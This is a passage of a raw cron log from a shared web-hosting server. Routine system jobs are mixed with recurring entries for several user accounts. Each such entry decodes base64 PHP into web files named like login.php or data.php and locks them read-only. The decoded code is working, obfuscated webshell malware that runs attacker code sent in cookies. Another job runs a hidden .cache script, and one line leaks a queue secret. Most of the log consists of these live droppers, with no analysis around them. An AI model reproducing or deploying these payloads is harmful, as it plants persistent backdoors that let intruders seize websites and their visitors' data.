fZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:31:02 medusa CROND[13876]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 04:31:02 medusa CROND[13883]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:31:02 medusa CROND[13885]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:31:02 medusa CROND[13887]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 04:31:02 medusa CROND[13888]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 04:31:02 medusa CROND[13889]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 04:31:02 medusa CROND[13891]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:31:02 medusa CROND[13893]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Apr 19 04:32:01 medusa CROND[5079]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 04:32:02 medusa CROND[5172]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 04:32:02 medusa CROND[5173]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Apr 19 04:32:02 medusa CROND[5174]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:32:02 medusa CROND[5175]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 04:32:02 medusa CROND[5177]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:32:02 medusa CROND[5176]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 04:32:02 medusa CROND[5179]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 04:32:02 medusa CROND[5180]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 04:32:02 medusa CROND[5181]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:32:02 medusa CROND[5183]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:32:02 medusa CROND[5182]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 04:32:02 medusa CROND[5188]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 04:33:01 medusa CROND[28157]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 04:33:01 medusa CROND[28158]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 04:33:01 medusa CROND[28159]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:33:01 medusa CROND[28160]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 04:33:01 medusa CROND[28161]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 04:33:02 medusa CROND[28162]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Apr 19 04:33:02 medusa CROND[28164]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 04:33:02 medusa CROND[28163]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 04:33:02 medusa CROND[28165]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 04:33:02 medusa CROND[28167]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
